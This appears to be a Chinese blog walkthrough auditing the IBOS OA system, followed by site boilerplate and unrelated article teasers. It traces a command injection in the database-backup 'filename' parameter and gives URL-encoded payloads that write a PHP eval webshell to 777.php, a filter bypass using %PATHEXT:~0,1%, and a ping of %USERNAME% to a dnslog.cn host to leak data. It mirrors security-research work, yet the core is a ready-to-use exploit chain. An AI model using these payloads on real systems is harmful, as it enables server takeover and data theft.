IBOS代码审计流程-文件上传(超详细)

2.对源代码进行SeayDzend解密

因为在我们打开文件时会有一部分会出现代码是乱码的情况

C:\Users\gaolitao\IBOS\WWW\system\defines

因此我们需要在该源代码的基础上进行解密,这样才能更好的进行代码审计

这里正确填写Zend5.3的加密方式对其进行解密

将解密后的代码放入C:\Users\gaolitao\Desktop\newibos中

点击开始进行解密

当显示解密完成且出现newibos的文件夹时证明已经解密成功

点击newibos文件查找刚刚出现乱码的文件进行验证

发现乱码变成了正常代码,说明解密成功

3.代码审计

将解密后的代码放入代码审计工具中进行代码审计

进入代码审计页面并添加newibos项目

点击全局搜索

输入system(

发现没有漏洞

输入exec(

发现存在漏洞,然后根据ID一个一个进行排查

ID=1

发现curl_setopt_array — 为 cURL 传输会话批量设置选项不是我们需要的可控变量

ID=2

这里出现了shell_exec() — 通过 shell 执行命令并将完整的输出以字符串的方式返回

貌似可以,继续读代码找到可以控制的变量

shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

这里的变量有$mysqlBin,$db, $file可能可控

继续分析

$mysqlBin

这里的mysqlBin 是从数据库查询出来的值不可控

$db

由这里可知$db是config.php里面的数据库配置的值,不可控

$file

这里urldecode — 解码已编码的 URL 字符串,不可控

在这里我们发现了shell_exec(存在三个变量,我们可以以此为出发点全局搜索shell_exec(

4.全局搜索shell_exec(

发现ID=1已经查找过了,剩下一个ID=2

ID=2

观察代码

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");

这里出现了mysqldump这是MySQL自带的备份工具

命令格式如下
mysqldump [选项] 数据库名 [表名] > 脚本名

mysqldump [选项] --数据库名 [选项 表名] > 脚本名

mysqldump [选项] --all-databases [选项] > 脚本名

这里猜测后台会出现数据库备份功能

根据路径进行查找

真找到了数据库备份

这里可控的变量就有可能在这里面

最后一个参数$dumpFile就是脚本名,就是最后导出的文件名

追溯来源

$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;

$backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);

$fileName = core\utils\Env::getRequest(“filename”);

这里可以看出$dumpFile 是与$fileName有关,且是与getRequest(“filename”)有关

5.用burp抓包

这里出现了filename

放包之后

在C:\Users\gaolitao\IBOS\WWW\data\backup中查到了我们刚刚提交的数据库

因此我们可以从这里入手插入一个一句话木马

6.插入一句话木马

111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

抓包

修改这里进行放包

放包后

再次点击提交

创建成功

这里查看真多了一个777.php文件

7.访问777.php

http://192.168.251.134/777.php?8=phpinfo();

发访问成功

8.一句话木马如何加密

111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

(1)首先用dnslog进行尝试

尝试进入终端cmd然后进行尝试ping,如果能ping通那么就证明是可以使用dnslog

ping s8ammk.dnslog.cn

尝试使用 ping %USERNAME%.dnslog.cn

这里的USERNAM表示的是系统变量用户名

%USERNAME%表示外载数据

输入set可以查看内置的系统变量



这里可以调用PATHEXT里面的.

使用echo %PATHEXT%可以查看其里面的内容

使用echo %PATHEXT:~0,1%

获取.

这里的~0,1就是表示输出第一个字符

因此这里先写入一句话木马

111&”<?php eval($_REQUEST[8]) ?>”>shel%PATHEXT:~0,1%php&111

进行url编码

111%26%E2%80%9D%3C%3Fphp%20eval(%24_REQUEST%5B8%5D)%20%3F%3E%E2%80%9D%3Eshel%25PATHEXT%3A~0%2C1%25php%26111

将url编码后的代码写入到抓的burp包中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/439634.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

欧拉计划第816题:求大量点的最短距离

本次来解决欧拉计划的第816题: 解: 第一步:最原始的算法 先从简单的情况开始,即原题里的14个点的情况 import mathdef gen_points(n):s = [0] * (2*n)s[0] = 290797for i in range(1, 2*n):s[i] = (s[i - 1] * s[i - 1]) % 50515093p = [(s[2 * i], s[2 * i + 1]) for…

H5 嵌套iframe并设置全屏

H5 嵌套iframe并设置全屏 上图上代码 <template><view class"mp-large-screen-box"><view class"mp-large-screen-count">// 返回按钮<view class"mp-mini-btn-color mp-box-count" hover-class"mp-mini-btn-hover…

PGsql 解析json及json数组

创建测试数据 drop table if exists json_test; create table json_test as select 111 as id, {"nodes":{"1692328028076":{"nodeId":"1692328028076","nodeName":"测试表1","nodeType":"DATACO…

如何在群晖中本地部署WPS Office并实现公网远程访问

文章目录 1. 拉取WPS Office镜像2. 运行WPS Office镜像容器3. 本地访问WPS Office4. 群晖安装Cpolar5. 配置WPS Office远程地址6. 远程访问WPS Office小结 7. 固定公网地址 wps-office是一个在Linux服务器上部署WPS Office的镜像。它基于WPS Office的Linux版本&#xff0c;通过…

ArcGIS Pro 如何计算长度和面积等数据?

要素的几何属性属于比较重要的信息&#xff0c;作为一款专业的GIS软件&#xff0c;ArcGIS Pro自然也是带有计算几何的功能&#xff0c;这里为大家介绍一下计算方法&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的矢量数据&#xff0c;除了矢…

Hana SQL+正则表达式

目录 一、Pre 前言 二、知识点拆解 1&#xff09;case when…then…else 2&#xff09;json_value 函数 拓展资料 3&#xff09;CAST 函数 拓展资料 4) ROUND 函数 5&#xff09;occurences_regexpr 函数 拓展资料 6&#xff09;正则表达式 拓展资料 三、整合分析…

设计模式——2_0 职责链(Chain of Responsibility)

楼下一个男人并得要死&#xff0c;那家隔壁的一家唱着留声机&#xff0c;对面是弄孩子。楼上有两人狂笑&#xff1b;还有打牌声&#xff0c;河中的船上有女人哭她死去的母亲。人类的悲欢并不相通&#xff0c;我只觉得他们吵闹 ——鲁迅 文章目录 定义图纸一个例子&#xff1a;如…

SQL Server ISO镜像文件安装

参考&#xff1a;Sql Server ISO镜像文件安装指南_sqlserveriso文件怎么安装-CSDN博客 参考文件中的步骤基本相同&#xff0c;注意两点 1、尽量安装在D盘&#xff0c;有些组件默认必须安装在C盘&#xff0c;有些会报没有目录的情况 需要在D盘创建目录。 2、我没有windows本地…

都说在边缘落地视频智能分析难,但是这次有了大模型!

百度智能云边缘计算团队成功地将大模型、业务场景、边缘设备进行融合&#xff0c;使得边缘服务器 ECS上的算子具备了「场景自适应能力」&#xff0c;并实现了「采集 - 清洗 - 标注 - 训练 - 部署 - 迭代」全流程的自动化。 在视频智能分析场景中&#xff0c;研发人员使用少量业…

vue3 el-pagination 将组件中英文‘goto’ 修改 为 中文到‘第几’

效果如图&#xff1a; 要求&#xff1a;将英文中Go to 改为到第几 操作如下&#xff1a; <template><div class"paging"><el-config-provider :locale"zhCn"> // 注意&#xff1a;这是重要部分<el-pagination //分页组件根据官…

Java 枚举enum类

Java枚举&#xff08;Enum&#xff09; 枚举 定义&#xff1a; Java枚举是一种特殊的类&#xff0c;用来表示一组固定的常量。 被enum关键字修饰的类型就是枚举类型 &#xff08;如果枚举不添加任何方法&#xff0c;枚举值默认为从0开始的有序数据。 比如定义一个枚举类表示…

更改远程桌面网关端口和远程Web应用程序端口

很多玩Home-Lab的小伙伴会使用远程桌面网关&#xff08;Remote Desktop Gateway&#xff09;来安全远程家庭内网的计算机&#xff0c;但由于国内电信法律法规的原因&#xff0c;普通家庭宽带并不能使用默认的443端口&#xff08;TCP&#xff09;和3391端口&#xff08;UDP&…